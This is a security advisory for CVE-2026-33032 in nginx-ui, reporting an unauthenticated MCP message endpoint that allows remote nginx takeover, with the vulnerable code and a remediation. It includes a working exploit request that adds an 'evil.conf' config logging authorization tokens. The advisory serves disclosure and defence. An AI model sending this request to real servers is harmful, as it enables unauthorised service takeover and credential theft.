GHSA-H6C2-X2M2-MWHF
Vulnerability from github – Published: 2026-03-30 16:43 – Updated: 2026-03-30 21:26Summary
The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.
Details
Vulnerable Code
mcp/router.go:9-17 - Auth asymmetry between endpoints
func InitRouter(r *gin.Engine) {
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
}
The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.
internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all
func IPWhiteList() gin.HandlerFunc {
return func(c *gin.Context) {
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
// ...
}
}
When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.
Available MCP Tools (all invocable without auth)
From mcp/nginx/:
- restart_nginx - restart the nginx process
- reload_nginx - reload nginx configuration
- nginx_status - read nginx status
From mcp/config/:
- nginx_config_add - create new nginx config files
- nginx_config_modify - modify existing config files
- nginx_config_list - list all configurations
- nginx_config_get - read config file contents
- nginx_config_enable - enable/disable sites
- nginx_config_rename - rename config files
- nginx_config_mkdir - create directories
- nginx_config_history - view config history
- nginx_config_base_path - get nginx config directory path
Attack Scenario
- Attacker sends HTTP requests to
http://target:9000/mcp_message(default port) - No authentication is required - IP whitelist is empty by default
- Attacker invokes
nginx_config_modifywithrelative_path="nginx.conf"to rewrite the main nginx configuration (e.g., inject a reverse proxy that logsAuthorizationheaders) nginx_config_addauto-reloads nginx (config_add.go:74), or attacker callsreload_nginxdirectly- All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied
PoC
1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:
// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })
// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })
Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.
2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:
var AuthSettings = &Auth{
BanThresholdMinutes: 10,
MaxAttempts: 10,
// IPWhiteList is not initialized - defaults to nil/empty slice
}
And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
3. Config writes auto-reload nginx. From mcp/config/config_add.go:
err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload) // Line 74: immediate reload
4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "evil.conf",
"content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
"base_dir": "conf.d",
"overwrite": true,
"sync_node_ids": []
}
},
"id": 1
}
No Authorization header is needed. The config is written and nginx reloads immediately.
Impact
- Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
- Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
- Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
- Configuration exfiltration: All existing nginx configs are readable via
nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting
access_logdirectives with customlog_formatpatterns, the attacker can captureAuthorizationheaders from administrators accessing nginx-ui, enabling escalation to the REST API
Remediation
Add middleware.AuthRequired() to the /mcp_message route:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.99"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33032"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T16:43:13Z",
"nvd_published_at": "2026-03-30T18:16:19Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.\n\n### Details\n#### Vulnerable Code\n\n**`mcp/router.go:9-17` - Auth asymmetry between endpoints**\n\n```go\nfunc InitRouter(r *gin.Engine) {\n\tr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n\tr.Any(\"/mcp_message\", middleware.IPWhiteList(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n}\n```\n\nThe `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations.\n\n**`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all**\n\n```go\nfunc IPWhiteList() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tclientIP := c.ClientIP()\n\t\tif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n\t\t// ...\n\t}\n}\n```\n\nWhen `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design.\n\n#### Available MCP Tools (all invocable without auth)\n\nFrom `mcp/nginx/`:\n- `restart_nginx` - restart the nginx process\n- `reload_nginx` - reload nginx configuration\n- `nginx_status` - read nginx status\n\nFrom `mcp/config/`:\n- `nginx_config_add` - create new nginx config files\n- `nginx_config_modify` - modify existing config files\n- `nginx_config_list` - list all configurations\n- `nginx_config_get` - read config file contents\n- `nginx_config_enable` - enable/disable sites\n- `nginx_config_rename` - rename config files\n- `nginx_config_mkdir` - create directories\n- `nginx_config_history` - view config history\n- `nginx_config_base_path` - get nginx config directory path\n\n#### Attack Scenario\n\n1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port)\n2. No authentication is required - IP whitelist is empty by default\n3. Attacker invokes `nginx_config_modify` with `relative_path=\"nginx.conf\"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers)\n4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly\n5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied\n\n\n### PoC\n**1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`:\n\n```go\n// Line 10 - /mcp requires auth:\nr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n\n// Line 14 - /mcp_message does NOT:\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n```\n\nBoth call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations.\n\n**2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`:\n\n```go\nvar AuthSettings = \u0026Auth{\n BanThresholdMinutes: 10,\n MaxAttempts: 10,\n // IPWhiteList is not initialized - defaults to nil/empty slice\n}\n```\n\nAnd the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty:\n\n```go\nif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n c.Next()\n return\n}\n```\n\n**3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`:\n\n```go\nerr := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file\n// ...\nres := nginx.Control(nginx.Reload) // Line 74: immediate reload\n```\n\n**4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:\n\n```http\nPOST /mcp_message HTTP/1.1\nContent-Type: application/json\n\n{\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"evil.conf\",\n \"content\": \"server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }\",\n \"base_dir\": \"conf.d\",\n \"overwrite\": true,\n \"sync_node_ids\": []\n }\n },\n \"id\": 1\n}\n```\n\nNo `Authorization` header is needed. The config is written and nginx reloads immediately.\n\n### Impact\n- **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart\n- **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit\n- **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services\n- **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers\n- **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API\n\n### Remediation\n\nAdd `middleware.AuthRequired()` to the `/mcp_message` route:\n\n```go\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), middleware.AuthRequired(),\n func(c *gin.Context) {\n mcp.ServeHTTP(c)\n })\n```\n\nAdditionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.",
"id": "GHSA-h6c2-x2m2-mwhf",
"modified": "2026-03-30T21:26:24Z",
"published": "2026-03-30T16:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33032"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "nginx-ui\u0027s Unauthenticated MCP Endpoint Allows Remote Nginx Takeover"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.